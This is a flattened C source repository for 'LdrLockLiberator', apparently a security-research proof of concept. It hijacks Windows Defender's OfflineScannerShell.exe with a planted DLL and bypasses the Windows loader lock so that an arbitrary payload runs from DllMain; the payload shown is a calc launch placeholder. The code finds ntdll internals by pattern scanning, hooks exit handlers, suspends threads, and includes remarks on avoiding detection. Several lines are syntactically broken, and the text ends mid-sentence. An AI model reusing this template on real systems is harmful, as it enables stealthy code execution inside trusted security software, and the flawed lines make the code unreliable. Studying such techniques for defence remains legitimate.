├── .gitignore ├── LICENSE ├── LdrLockLiberator.c ├── LdrLockLiberatorWDK ├── LdrLockLiberatorWDK.c └── Sources ├── README.md └── logo.webp /.gitignore: -------------------------------------------------------------------------------- 1 | .sw* 2 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | MIT License 2 | 3 | Copyright (C) 2023-2024 Elliot Killick 4 | 5 | Permission is hereby granted, free of charge, to any person obtaining a copy 6 | of this software and associated documentation files (the "Software"), to deal 7 | in the Software without restriction, including without limitation the rights 8 | to use, copy, modify, merge, publish, distribute, sublicense, and/or sell 9 | copies of the Software, and to permit persons to whom the Software is 10 | furnished to do so, subject to the following conditions: 11 | 12 | The above copyright notice and this permission notice shall be included in all 13 | copies or substantial portions of the Software. 14 | 15 | THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR 16 | IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, 17 | FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE 18 | AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER 19 | LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, 20 | OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE 21 | SOFTWARE. 22 | -------------------------------------------------------------------------------- /LdrLockLiberator.c: -------------------------------------------------------------------------------- 1 | // Copyright (C) 2023 Elliot Killick 2 | // Licensed under the MIT License. See LICENSE file for details. 3 | 4 | #define WIN32_LEAN_AND_MEAN 5 | #include 6 | #include // For NTSTATUS 7 | #include // For CRT atexit functions 8 | #include // For ShellExecute 9 | 10 | #define DLL 11 | 12 | // Standard EXE/DLL API boilerplate 13 | #ifdef DLL 14 | #define API __declspec(dllexport) 15 | #define EMPTY_IMPL {} 16 | #else 17 | #define API __declspec(dllimport) 18 | #define EMPTY_IMPL 19 | #endif 20 | 21 | // OfflineScannerShell.exe never calls any of these exports in the default code path 22 | // However, we still need to export them so the Windows library loader will statically load our DLL 23 | // 24 | // We could also pass through the exported function calls to the real DLL: #pragma comment(linker, "/export:=. 25 | // This would allow the exports to function correctly (but again isn't necessary in our case) 26 | // 27 | // From Start menu, open: "Developer Command Prompt for VS [VERSION]" 28 | // Get imports command: dumpbin.exe /imports "C:\Program Files\Windows Defender\Offline\OfflineScannerShell.exe" 29 | 30 | EXTERN_C API VOID MpUpdateStartEx(VOID) EMPTY_IMPL; 31 | EXTERN_C API VOID MpClientUtilExportFunctions(VOID) EMPTY_IMPL; 32 | EXTERN_C API VOID MpFreeMemory(VOID) EMPTY_IMPL; 33 | EXTERN_C API VOID MpManagerEnable(VOID) EMPTY_IMPL; 34 | EXTERN_C API VOID MpNotificationRegister(VOID) EMPTY_IMPL; 35 | EXTERN_C API VOID MpManagerOpen(VOID) EMPTY_IMPL; 36 | EXTERN_C API VOID MpHandleClose(VOID) EMPTY_IMPL; 37 | EXTERN_C API VOID MpManagerVersionQuery(VOID) EMPTY_IMPL; 38 | EXTERN_C API VOID MpCleanStart(VOID) EMPTY_IMPL; 39 | EXTERN_C API VOID MpThreatOpen(VOID) EMPTY_IMPL; 40 | EXTERN_C API VOID MpScanStart(VOID) EMPTY_IMPL; 41 | EXTERN_C API VOID MpScanResult(VOID) EMPTY_IMPL; 42 | EXTERN_C API VOID MpCleanOpen(VOID) EMPTY_IMPL; 43 | EXTERN_C API VOID MpThreatEnumerate(VOID) EMPTY_IMPL; 44 | EXTERN_C API VOID MpRemapCallistoDetections(VOID) EMPTY_IMPL; 45 | 46 | // DEBUG NOTICE 47 | // Invoking ShellExecute with "calc" causes it to take a very different code path than if invoked with "calc.exe" 48 | // Not including a file extension is how we get the "SHCORE!_WrapperThreadProc" thread as seen in the "Perfect DLL Hijacking" article 49 | // Otherwise, ShellExecute goes directly to spawning the combase!CRpcThreadCache::RpcWorkerThreadEntry thread (among others) 50 | // See this occur as ShellExecute spawns threads in WinDbg: bp ntdll!LdrInitializeThunk 51 | // Investigating SHELL32.dll, this happens because SHELL32!CShellExecute::ExecuteNormal calls SHELL32!CShellExecute::_RunThreadMaybeWait (calc) instead of SHELL32!CShellExecute::_DoExecute (calc.exe) depending on the return value of CShellExecute::_ShouldCreateBackgroundThread 52 | // This fact matters for our debugging because, in the second case (calc.exe), we don't get past the initial combase!CComApartment::StartServer -- (other functions) --> NdrCallClient2 deadlocked call stack unless we, as well as unlocking loader lock, also set the LdrpLoadCompleteEvent and LdrpInitCompleteEvent loader events, and set ntdll!LdrpWorkInProgress to zero 53 | // Why? This requires investigating the target process of this NdrClientCall2 RPC call. Guess: csrss.exe (https://en.wikipedia.org/wiki/Client/Server_Runtime_Subsystem) 54 | 55 | VOID payload(VOID) { 56 | // Verify we've reached our payload: 57 | //__debugbreak(); 58 | // Verify loader lock is gone in WinDbg: !critsec ntdll!LdrpLoaderLock 59 | ShellExecute(NULL, L"open", L"calc", NULL, NULL, SW_SHOW); 60 | } 61 | 62 | // These functions are exported from ntdll.dll but do not exist in the header files so we need to prototype and import them 63 | // The functions could also be located at runtime with GetProcAddress 64 | // Function signatures are sourced from ReactOS: https://doxygen.reactos.org 65 | EXTERN_C NTSTATUS NTAPI LdrUnlockLoaderLock(_In_ ULONG Flags, _In_opt_ ULONG_PTR Cookie); 66 | EXTERN_C NTSTATUS NTAPI LdrLockLoaderLock(_In_ ULONG Flags, _Out_opt_ PULONG Disposition, _Out_opt_ PULONG_PTR Cookie); 67 | EXTERN_C NTSYSAPI void DECLSPEC_NORETURN WINAPI RtlExitUserProcess(NTSTATUS Status); 68 | EXTERN_C NTSTATUS NTAPI LdrAddRefDll(IN ULONG Flags, IN PVOID BaseAddress); 69 | 70 | PCRITICAL_SECTION getLdrpLoaderLockAddress(VOID) { 71 | PBYTE ldrUnlockLoaderLockSearchCounter = (PBYTE)&LdrUnlockLoaderLock; 72 | 73 | // call 0x41424344 (absolute for 32-bit program; relative for 64-bit program) 74 | const BYTE callAddressOpcode = 0xe8; 75 | const BYTE callAddressInstructionSize = sizeof(callAddressOpcode) + sizeof(INT32); 76 | // jmp 0x41 77 | const BYTE jmpAddressRelativeOpcode = 0xeb; 78 | 79 | // Search for this pattern (occurs twice in LdrUnlockLoaderLock and exists in other NTDLL functions so it seems unlikely to change): 80 | // 00007ffc`94a0df03 e84c07fcff call ntdll!LdrpReleaseLoaderLock (7ffc949ce654) 81 | // 00007ffc`94a0df08 ebaf jmp ntdll!LdrUnlockLoaderLock+0x19 (7ffc94a0deb9) 82 | while (TRUE) { 83 | if (*ldrUnlockLoaderLockSearchCounter == callAddressOpcode) { 84 | // If there is a jmp address instruction directly below this one 85 | // This is for extra validation, if we are unlucky with the specific NTDLL build or ASLR then an addresses could contain the call opcode byte 86 | if (*(ldrUnlockLoaderLockSearchCounter + callAddressInstructionSize) == jmpAddressRelativeOpcode) 87 | break; 88 | } 89 | 90 | ldrUnlockLoaderLockSearchCounter++; 91 | } 92 | 93 | // Get address following call opcode 94 | INT32 rel32EncodedAddress = *(PINT32)(ldrUnlockLoaderLockSearchCounter + sizeof(callAddressOpcode)); 95 | 96 | // Reverse engineering Native API function: LdrpReleaseLoaderLock 97 | // First argument: For output only, it returns a pointer (pointing to KUSER_SHARED_DATA, a read-only section used by the kernel) to a byte 98 | // - The value of this byte should be zero under normal circumstances, otherwise the code jumps to some error-handling (the program may recover and jump back to the LdrpReleaseLoaderLock code or terminate) 99 | // Second argument: Unused (Exists in API for compatibility with previous/different Windows version? Reserved for future use?) 100 | // Third argument: Jump to error-handling code if it's a negative value 101 | // Return value: Passed through return value from ntdll!RtlLeaveCriticalSection (this is the function that actually unlocks the loader which makes sense) 102 | // - ntdll!RtlLeaveCriticalSection takes one argument (the critical section, ntdll!LdrpLoaderLock in our case): https://doxygen.reactos.org/d0/d06/critical_8c_source.html 103 | // 104 | // Prototype function 105 | typedef INT32(NTAPI* LdrpReleaseLoaderLockType)(OUT PBYTE, INT32, INT32); 106 | 107 | // Get full address to LdrpReleaseLoaderLock function 108 | LdrpReleaseLoaderLockType LdrpReleaseLoaderLock = (LdrpReleaseLoaderLockType)(ldrUnlockLoaderLockSearchCounter + callAddressInstructionSize + rel32EncodedAddress); 109 | 110 | // Release loader lock 111 | // This is old code for calling LdrpReleaseLoaderLock to unlock ntdll!LdrpLoaderLock 112 | // Instead, we now proceed to find the address of the ntdll!LdrpLoaderLock critical section so we can easily re-lock later 113 | //LdrpReleaseLoaderLock(NULL, 2, 0); // Pass in 2 as second argument because that's what Windows does for statically loaded DLLs at least 114 | 115 | PBYTE ldrpReleaseLoaderLockAddressSearchCounter = (PBYTE)LdrpReleaseLoaderLock; 116 | 117 | // lea cx/ecx/rcx (size left unspecified, e.g. prepending 0x48 to the opcode would make it specific to rcx) 118 | // This is so it works on both a 32-bit or 64-bit process 119 | // Swapped from 0x8d0d to be in little endian 120 | const USHORT leaCxRegisterOpcode = 0x0d8d; 121 | const BYTE leaCxRegisterOpcodeInstructionSize = sizeof(leaCxRegisterOpcode) + sizeof(INT32); 122 | 123 | // Search for this pattern: 124 | // 00007ff9`4e04e673 488d0d4e7f1200 lea rcx,[ntdll!LdrpLoaderLock (00007ff9`4e1765c8)] 125 | while (TRUE) { 126 | if (*(PUSHORT)ldrpReleaseLoaderLockAddressSearchCounter == leaCxRegisterOpcode) 127 | break; 128 | 129 | ldrpReleaseLoaderLockAddressSearchCounter++; 130 | } 131 | 132 | // Get pointer to ntdll!LdrpLoaderLock critical section in the .DATA section of NTDLL 133 | rel32EncodedAddress = *(PINT32)(ldrpReleaseLoaderLockAddressSearchCounter + sizeof(leaCxRegisterOpcode)); 134 | PCRITICAL_SECTION LdrpLoaderLock = (PCRITICAL_SECTION)(ldrpReleaseLoaderLockAddressSearchCounter + leaCxRegisterOpcodeInstructionSize + rel32EncodedAddress); 135 | 136 | return LdrpLoaderLock; 137 | } 138 | 139 | VOID preloadLibrariesForCurrentThread(VOID) { 140 | // These are all the libraries ShellExecute loads before launching a new thread 141 | // They must be manually loaded before calling ShellExecute because LdrpWorkInProgress must be set to TRUE for loading libraries on this thread but FALSE for loading libraries on the new thread 142 | // Otherwise, we get stuck looping infinitely (high CPU usage) in LdrpDrainWorkQueue and hang 143 | // It may just so happen that some of these libraries are loaded into your process, however, we need to ensure all of them are loaded 144 | // HOW TO: Collect a list of all the modules loaded by your API call(s) load by reading the "ModLoad" messages given at runtime by WinDbg 145 | 146 | LoadLibrary(L"SHCORE"); 147 | LoadLibrary(L"msvcrt"); 148 | LoadLibrary(L"combase"); 149 | LoadLibrary(L"RPCRT4"); 150 | LoadLibrary(L"bcryptPrimitives"); 151 | LoadLibrary(L"shlwapi"); 152 | LoadLibrary(L"windows.storage.dll"); // Need DLL extension for this one because it contains a dot in the name 153 | LoadLibrary(L"Wldp"); 154 | LoadLibrary(L"advapi32"); 155 | LoadLibrary(L"sechost"); 156 | } 157 | 158 | PULONG64 getLdrpWorkInProgressAddress() { 159 | // Find and return address of ntdll!LdrpWorkInProgres 160 | 161 | PBYTE rtlExitUserProcessAddressSearchCounter = (PBYTE)&RtlExitUserProcess; 162 | 163 | // call 0x41424344 (absolute for 32-bit program; relative for 64-bit program) 164 | const BYTE callAddressOpcode = 0xe8; 165 | const BYTE callAddressInstructionSize = sizeof(callAddressOpcode) + sizeof(INT32); 166 | 167 | // Search for this pattern: 168 | // 00007ffc`949ed9a3 e84c0f0000 call ntdll!LdrpDrainWorkQueue(7ffc949ee8f4) 169 | // 00007ffc`949ed9a8 e8070dfeff call ntdll!LdrpAcquireLoaderLock(7ffc949ce6b4) 170 | while (TRUE) { 171 | if (*rtlExitUserProcessAddressSearchCounter == callAddressOpcode) { 172 | // If there is another call opcode directly below this one 173 | if (*(rtlExitUserProcessAddressSearchCounter + callAddressInstructionSize) == callAddressOpcode) 174 | break; 175 | } 176 | 177 | rtlExitUserProcessAddressSearchCounter++; 178 | } 179 | 180 | INT32 rel32EncodedAddress = *(PINT32)(rtlExitUserProcessAddressSearchCounter + sizeof(callAddressOpcode)); 181 | PBYTE ldrpDrainWorkQueue = (PBYTE)(rtlExitUserProcessAddressSearchCounter + callAddressInstructionSize + rel32EncodedAddress); 182 | PBYTE ldrpDrainWorkQueueAddressSearchCounter = ldrpDrainWorkQueue; 183 | 184 | // mov dword ptr [0x41424344], 0x1 185 | // Swapped from 0xc705 to be in little endian 186 | const USHORT movDwordAddressValueOpcode = 0x05c7; 187 | const BYTE movDwordAddressValueInstructionSize = sizeof(movDwordAddressValueOpcode) + sizeof(INT32) + sizeof(INT32); 188 | 189 | // Search for this pattern: 190 | // 00007ffc`949ee97f c7055fca100001000000 mov dword ptr [ntdll!LdrpWorkInProgress (7ffc94afb3e8)], 1 191 | while (TRUE) { 192 | if (*(PUSHORT)ldrpDrainWorkQueueAddressSearchCounter == movDwordAddressValueOpcode) { 193 | // If TRUE (1) is being moved into this address 194 | if (*(PBOOL)(ldrpDrainWorkQueueAddressSearchCounter + movDwordAddressValueInstructionSize - sizeof(INT32)) == TRUE) 195 | break; 196 | } 197 | 198 | ldrpDrainWorkQueueAddressSearchCounter++; 199 | } 200 | 201 | // Get pointer to ntdll!LdrpWorkInProgress boolean in the .DATA section of NTDLL 202 | rel32EncodedAddress = *(PINT32)(ldrpDrainWorkQueueAddressSearchCounter + sizeof(movDwordAddressValueOpcode)); 203 | PULONG64 LdrpWorkInProgress = (PULONG64)(ldrpDrainWorkQueueAddressSearchCounter + movDwordAddressValueInstructionSize + rel32EncodedAddress); 204 | 205 | return LdrpWorkInProgress; 206 | } 207 | 208 | // List of all NTDLL loader events 209 | // Confirmed in WinDbg with these commands: sxe ld:ntdll; bp ntdll!NtCreateEvent; g 210 | // This stops the debugger on the first instruction in NTDLL and breaks on event creation 211 | // Look up the address returned in RCX after each NtCreateEvent to find its debug symbol name 212 | // https://doxygen.reactos.org/d4/deb/ntoskrnl_2ex_2event_8c.html#a6fff8045fa5834e03707df042e7c7cde 213 | // 214 | // NOTE: These hex codes may change, they are simply created at process start in NTDLL with NtCreateEvent which decides on a handle ID value at run-time 215 | // However, the algorithm being used for generating these handle ID values seems to deterministically generate these values 216 | // To verify these handle IDs, simply look up the debug symbol names in WinDbg 217 | // The correct handle IDs could always be obtained by searching the loader assembly code. I will leave this as an exercise to the reader. 218 | #define LdrpInitCompleteEvent (HANDLE)0x4 219 | #define LdrpLoadCompleteEvent (HANDLE)0x3c 220 | #define LdrpWorkCompleteEvent (HANDLE)0x40 221 | 222 | // Shared state within the Windows loader 223 | PULONG64 LdrpWorkInProgress; 224 | 225 | VOID myLdrpDropLastInProgressCount(VOID) { 226 | // Incomplete clone of ntdll!LdrpDropLastInProgressCount Windows loader function 227 | 228 | // TODO: Remove load owner flag from this thread (in the TEB). The current workaround is running the payload on a new thread or "preloading libraries". 229 | 230 | // NOTE: SAFELY MODIFYING the LdrpWorkInProgress state mandates acquring the LdrpWorkQueueLock. I will leave this as an exercise to the reader. 231 | // Technically, loading a library at process startup means you can get away safely without acquiring the LdrpWorkQueueLock lock here 232 | // Begin: EnterCrticalSection(LdrpWorkQueueLock); 233 | *LdrpWorkInProgress = 0; 234 | // End: ReleaseCrticalSection(LdrpWorkQueueLock); 235 | 236 | // Unlock load owner event 237 | SetEvent(LdrpLoadCompleteEvent); 238 | } 239 | 240 | VOID myLdrpDrainWorkQueue(VOID) { 241 | // Minimal clone of the LdrpDrainWorkQueue Windows loader function for our purposes to safely get back control of the loader after unlocking it 242 | 243 | BOOL CompleteRetryOrReturn = FALSE 244 | 245 | // Must set ntdll!LdrpWorkInProgress back to NON-ZERO otherwise we crash/deadlock in NTDLL library loader code sometime after returning from DllMain 246 | // The crash/deadlock occurs to due to concurrent operations happening in other threads 247 | // The problem arises due to loader worker threads by default (https://devblogs.microsoft.com/oldnewthing/20191115-00/?p=103102) 248 | while (TRUE) { 249 | // NOTE: SAFELY MODIFYING the LdrpWorkInProgress state mandates acquring the LdrpWorkQueueLock. I will leave this as an exercise to the reader. Alternatively, exit the process. 250 | // There is a real chance of crashing here without acquiring the LdrpWorkQueueLock here now that other, potentialy load owner threads, are operating inside the process. Continue without acquiring the LdrpWorkQueueLock at your own risk. 251 | // Begin: EnterCrticalSection(LdrpWorkQueueLock); 252 | if (*LdrpWorkInProgress == 0) { 253 | *LdrpWorkInProgress = 1; 254 | CompleteRetryOrReturn = TRUE; 255 | } 256 | // End: ReleaseCriticalSection(LdrpWorkQueueLock); 257 | 258 | if (CompleteRetryOrReturn) 259 | break; 260 | 261 | // Reset these events to how they were for thread safety 262 | // It's potentially unsafe to reset the LdrpInitCompleteEvent once new threads have been active in the process (because those new threads could be holding a lock while waiting for a new thread, a thread that will get blocked once LdrpInitCompleteEvent is reset) 263 | // We don't bother helping to process the work like the real LdrpDrainWorkQueue function 264 | WaitForSingleObject(LdrpLoadCompleteEvent); 265 | } 266 | 267 | // TODO: Set the load owner flag on this thread 268 | } 269 | 270 | #undef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN 271 | 272 | VOID LdrFullUnlock(VOID) { 273 | // Fully unlock the Windows library loader 274 | 275 | // 276 | // Initialization 277 | // 278 | 279 | const PCRITICAL_SECTION LdrpLoaderLock = getLdrpLoaderLockAddress(); 280 | LdrpWorkInProgress = getLdrpWorkInProgressAddress(); 281 | 282 | // 283 | // Preparation 284 | // 285 | 286 | // Please note that ALL the work we do here is still safer than what Microsoft does with the loader at every process exit: 287 | // https://github.com/ElliotKillick/windows-vs-linux-loader-architecture#when-a-process-would-rather-terminate-than-wait-on-a-critical-section 288 | // Unlocking the loader 100% safely is possible because the state is predictable (at least when Windows isn't doing non-sensical delay loading or other random loads, but that's not my bug). In contrast, the unpredictability of randomly sacrificing threads can never be safe. 289 | // Please be safe Microsoft, it's dangerous out there and we don't want to see you deadlock or crash! :( Don't worry, as long as you are in this function with us: you are safe. 290 | // The goal is to keep our code as far away from this thing as possible: NtTerminateProcess 291 | 292 | #ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN 293 | // The modern loader handles reentrancy correctly 294 | preloadLibrariesForCurrentThread(); 295 | #endif 296 | 297 | // Leave module initialization/deinitialization lock 298 | // NOTE: We unlock loader lock (a reentrant thread synchronization mechanism) once here, this doesn't account for the reentrant DllMain unlocking scenario. I leave this as an exercise to the reader. Make sure to re-lock loader lock the same number of times during cleanup. 299 | LeaveCriticalSection(LdrpLoaderLock); 300 | myLdrpDropLastInProgressCount(); 301 | 302 | // Complete loader initialization (this is the first thread creation blocker) 303 | // This is only necessary in the process startup case; otherwise, it's a no-op and there's no harm in setting it again 304 | // NOTE: Thread safety requires setting ntdll!LdrInitState = 3 before unlocking LdrpInitCompleteEvent. I've never seen a crash occur due to not changing this state, though. It's a rare but possible crash scenario. I leave this as an exercise for the reader. 305 | // At process startup within DllMain, ntdll!LdrInitState = 2. So, everything works out great because the next time the loader sets ntdll!LdrInitState is to three, which is the final and thread-safe state. 306 | // For details: https://github.com/ElliotKillick/windows-vs-linux-loader-architecture#windows-loader-initialization-locking-requirements 307 | SetEvent(LdrpInitCompleteEvent); 308 | 309 | // 310 | // Run our payload! 311 | // 312 | 313 | #ifdef RUN_PAYLOAD_DIRECTLY_FROM_DLLMAIN 314 | // Libraries for this thread must be preloaded 315 | // See the myLdrpDropLastInProgressCount function for info on same thread payload execution without "library preloading" 316 | payload(); 317 | #else 318 | DWORD payloadThreadId; 319 | HANDLE payloadThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, &payloadThreadId); 320 | if (payloadThread) 321 | WaitForSingleObject(payloadThread, INFINITE); 322 | #endif 323 | 324 | // 325 | // Cleanup 326 | // 327 | 328 | // Don't re-lock LdrpInitCompleteEvent because this library load may be happening outside of process startup 329 | // If we're in process startup, then re-locking LdrpInitCompleteEvent doesn't matter, anyway (active threads with the potential of being a load owner have already been unleashed into the process) 330 | 331 | // Configure loader shared state appropriately and reacquire LdrpLoadCompleteEvent 332 | myLdrpDrainWorkQueue(); 333 | // Reacquire loader lock for thread safety 334 | EnterCriticalSection(LdrpLoaderLock); 335 | } 336 | 337 | // If the program whose DLL is being hijacked uses the original C:\Windows\System32\msvcrt.dll not as a compatibility layer (probably true for any program that ships from Microsoft with Windows) 338 | // Undefine this if the CRT being used by the program is ucrtbase.dll or vcruntime.dll 339 | #undef MSVCRT_ORIGINAL 340 | 341 | #ifdef MSVCRT_ORIGINAL 342 | HMODULE msvcrtHandle; 343 | #endif 344 | 345 | #ifdef MSVCRT_ORIGINAL 346 | VOID MsvcrtAtexitHandler(VOID) { 347 | FARPROC msvcrtUnlockAddress = GetProcAddress(msvcrtHandle, "_unlock"); 348 | typedef void(__cdecl* msvcrtUnlockType)(int); 349 | msvcrtUnlockType msvcrtUnlock = (msvcrtUnlockType)(msvcrtUnlockAddress); 350 | // The original MSVCRT has locking (a critical section) around the CRT exit 351 | // ShellExecute (a very complex function) calls atexit on a NEW THREAD causing us to hang unless we call msvcrt!unlockexit before calling ShellExecute 352 | // msvcrt!unlockexit isn't exported by msvcrt.dll (can't GetProcAddress it) but msvcrt!unlock is so we can effectively do the same thing by passing in 8 as its argument 353 | // 354 | // Disassembly of msvcrt!unlockexit from WinDbg: 355 | // msvcrt!unlockexit: 356 | // 00007ffc`9334a5d4 b908000000 mov ecx, 8 357 | // 00007ffc`9334a5d9 e9a20c0000 jmp msvcrt!_unlock(7ffc9334b280) 358 | // 00007ffc`9334a5de cc int 3 359 | // 360 | // Critical section information from WinDbg: 361 | // !locks -v 362 | // CritSec msvcrt!CrtLock_Exit+0 at 00007ffc9339f500 363 | // WaiterWoken No 364 | // LockCount 1 365 | // RecursionCount 1 366 | // OwningThread 1cde0 367 | // EntryCount 0 368 | // ContentionCount 1 369 | // ***Locked 370 | // 371 | // In my analysis, I've confirmed that unlocking this won't cause this atexit handler to run again if the CRT exit is called again (e.g. from our payload) 372 | // Luckily, MSVCRT is smart enough to run any remaining atexit handlers (that haven't already been run) then exit without any problems 373 | // Also, if more atexit handlers are created while we're in this atexit handler then they will also correctly run once before exit (all in the expected order too) 374 | // I just wanted to reinforce that this is 100% safe! 375 | // 376 | // UCRT does this differently with separate locks around adding to the atexit table and around using CRT exit 377 | // In UCRT, both of these locks are stored in this table: ucrtbase!environ_table+ 378 | // This table directly contains several critical section objects 379 | msvcrtUnlock(8); 380 | 381 | payload(); 382 | 383 | // ShellExecute spawns a new thread and the main thread that spawns it doesn't wait for the whole time so add this sleep to make sure the program doesn't terminate before ShellExecute runs its process 384 | // The proper way to fix this would be to use ShellExecuteEx to get a process handle then wait for the process to start with WaitForInputIdle 385 | // This only seems to happen with MSVCRT, other CRTs seem to automatically wait for ShellExecute to finish before doing CRT exit and terminating the program 386 | // For creating new threads yourself, use WaitForSingleObject like normal to make sure you wait until the thread exits before allowing the program to exit 387 | Sleep(3000); 388 | 389 | // It's necessary to re-lock msvcrt!CrtLock_Exit because there could, however unlikely, be ANOTHER THREAD doing CRT exit at the exact same time as we're leaving this atexit handler 390 | // This could, for example, lead to a race condition that causes some atexit handlers proceeding us to be executed twice 391 | // MSVCRT's logic for walking thorugh the list of atexit handlers isn't atomic and msvcrt!CrtLock_Exit of course won't be re-locked for us by MSVCRT so we need to do it ourselves 392 | // By locking, we're permitting a potential other thread to continue doing CRT exit (running any remaining atexit handlers) and ultimately terminate the process on our behalf 393 | FARPROC msvcrtLockAddress = GetProcAddress(msvcrtHandle, "_lock"); 394 | typedef void(__cdecl* msvcrtLockType)(int); 395 | msvcrtLockType msvcrtLock = (msvcrtLockType)(msvcrtLockAddress); 396 | msvcrtLock(8); 397 | } 398 | #endif 399 | 400 | // https://doxygen.reactos.org/d1/d97/ldrtypes_8h.html#a24f55ce6836e445d46f2838d8719ba1c 401 | #define LDR_ADDREF_DLL_PIN 0x00000001 402 | 403 | VOID LdrLockEscapeAtCrtExit(PVOID isStaticLoad, HINSTANCE dllHandle) { 404 | // Must use CRT atexit functions, the normal atexit function runs under loader lock when run from a DLL 405 | // The rare case this technique won't work is when an executable is compiled to not be linked with a CRT whatsoever (with the /NODEFAULTLIB option) or with a /ENTRY that causes CRT initialization to not take place 406 | // - It's especially rare because CRT initalization sets up a lot of basic things like security cookies before stack return addresses 407 | #ifndef MSVCRT_ORIGINAL 408 | // Catch both normal exit and quick exit cases (just in case) 409 | // On newer versions of Visual Studio (e.g. 2022), these atexit shoud use the UCRT base. Full Visual C++ CRT will be used on older versions of Visual Studio 410 | _crt_atexit(payload); 411 | _crt_at_quick_exit(payload); 412 | #else 413 | // If the program whose DLL your hijacking is a Microsoft-made Windows program then it probably links to the original C:\Windows\System32\msvcrt.dll 414 | // In that case, you will need to run the atexit function provided by MSVCRT (otherwise there will be no effect) 415 | // A specific version of WDK is required to link to the msvcrt.lib statically (optional, but it would allow you to get rid of the GetModuleHandle/GetProcAddress) 416 | msvcrtHandle = GetModuleHandle(L"msvcrt"); 417 | if (msvcrtHandle == NULL) 418 | return; 419 | FARPROC msvcrtAtexitAddress = GetProcAddress(msvcrtHandle, "atexit"); 420 | 421 | // Prototype function 422 | typedef int(__cdecl* msvcrtAtexitType)(void(__cdecl*)(void)); 423 | 424 | msvcrtAtexitType msvcrtAtexit = (msvcrtAtexitType)(msvcrtAtexitAddress); 425 | msvcrtAtexit(MsvcrtAtexitHandler); 426 | #endif 427 | 428 | // If this is a dynamic load then FreeLibrary could unload our DLL 429 | if (!isStaticLoad) 430 | // Pin our DLL so it can never be unloaded 431 | LdrAddRefDll(LDR_ADDREF_DLL_PIN, dllHandle); 432 | 433 | // Wait for process exit to escape loader lock... 434 | } 435 | 436 | VOID LdrLockWinRaceThread(HANDLE mainThread) { 437 | // Suspend the main thread 438 | // According to Microsoft documentation, suspending a thread that owns a synchronization object may cause a deadlock (but things can be done to avoid it still) 439 | SuspendThread(mainThread); 440 | 441 | // Avoid common heap allocation deadlock 442 | // If we suspend the main thread while it's allocating to the heap then this can happen 443 | // SuspendThread, ResumeThread, and thread exit don't make any heap allocations which avoids any issues there 444 | // If we HeapUnlock and make a heap allocation on this thread, there's a non-zero chance of a crash occurring when the main thread resumes due to breaking thread safety guarantees 445 | //HeapUnlock(GetProcessHeap()); 446 | 447 | payload(); 448 | 449 | ResumeThread(mainThread); 450 | 451 | CloseHandle(mainThread); 452 | 453 | // Thread exits... 454 | } 455 | 456 | VOID LdrLockWinRace(PVOID isStaticLoad) { 457 | // Try to suspend the main thread from a new thread before main thread exits causing process termination 458 | // 459 | // This won't work if the program exits *immediately* after being started 460 | // - This is was true for my test bench executable which literally just statically loads this DLL and exits immediately 461 | // - Either that or the new thread started while DLL exit routines were running under loader lock (leading to a deadlock) 462 | // If you're program stays open for long enough then it may work if you don't get unlucky on where the thread gets suspended at 463 | // - For example, if the main thread gets suspended while it's holding a lock (e.g. commonly the heap lock for OfflineScannerShell.exe) 464 | // 465 | // This technique isn't that good, so I wouldn't use it. 466 | 467 | // Microsoft documentation: "If fdwReason is DLL_PROCESS_ATTACH, lpvReserved is NULL for dynamic loads and non-NULL for static loads." 468 | if (isStaticLoad) { 469 | // Static load 470 | HANDLE currentThread = OpenThread(THREAD_SUSPEND_RESUME, FALSE, GetCurrentThreadId()); 471 | DWORD threadId; 472 | 473 | // This thread won't launch until loader lock is gone 474 | // Pass handle to current thread as an argument to the new thread 475 | HANDLE newThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LdrLockWinRaceThread, currentThread, 0, &threadId); 476 | if (newThread == NULL) 477 | return; 478 | 479 | // These may not be necessary if your target program stays open for long enough before exiting 480 | SetThreadPriority(newThread, THREAD_PRIORITY_TIME_CRITICAL); 481 | SetThreadPriority(GetCurrentThread(), THREAD_PRIORITY_IDLE); 482 | } 483 | else { 484 | // Dynamic load 485 | // A program loading dynamically probably won't exit right away 486 | DWORD threadId; 487 | CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)LdrLockWinRaceThread, NULL, 0, &threadId); 488 | } 489 | } 490 | 491 | LPVOID dataMemorySectionExeBackup, dataMemorySectionExeAddress; 492 | SIZE_T dataMemorySectionExeSize; 493 | PVOID exceptionHandler; 494 | 495 | LONG WINAPI LdrLockEscapeVehCatchExceptionHandler(PEXCEPTION_POINTERS exceptionInfo) { 496 | // Remember that this exception must have occurred in the main thread to prevent the program from exiting 497 | 498 | // Restore memory section backup and clean up 499 | RtlCopyMemory(dataMemorySectionExeAddress, dataMemorySectionExeBackup, dataMemorySectionExeSize); 500 | RemoveVectoredExceptionHandler(exceptionHandler); 501 | 502 | payload(); 503 | 504 | // Resume normal execution (may not actually be possible)... 505 | return EXCEPTION_CONTINUE_EXECUTION; 506 | } 507 | 508 | VOID LdrLockEscapeVehCatchException(VOID) { 509 | // This technique only works if you can get your main thread to raise an exception/interrupt (e.g. int3 or access violation) 510 | // Any other thread probably won't work (depending on your target) because the main thread will continue executing until it exits thus exiting the entire program 511 | 512 | HMODULE exeHandle = GetModuleHandle(NULL); 513 | 514 | // Search for .data memory section 515 | // We choose this memory section because it's the only one that we don't have to change permissions on for read and write access (calling VirtualProtect is prone to detection) 516 | MEMORY_BASIC_INFORMATION mbi; 517 | while (VirtualQuery(exeHandle, &mbi, sizeof(mbi))) { 518 | if (mbi.Protect == PAGE_READWRITE) { 519 | // Back up memory section 520 | dataMemorySectionExeBackup = HeapAlloc(GetProcessHeap(), 0, mbi.RegionSize); 521 | if (dataMemorySectionExeBackup == NULL) 522 | return; 523 | RtlCopyMemory(dataMemorySectionExeBackup, exeHandle, mbi.RegionSize); 524 | 525 | // This is an attempt at getting our program to go down a wrong 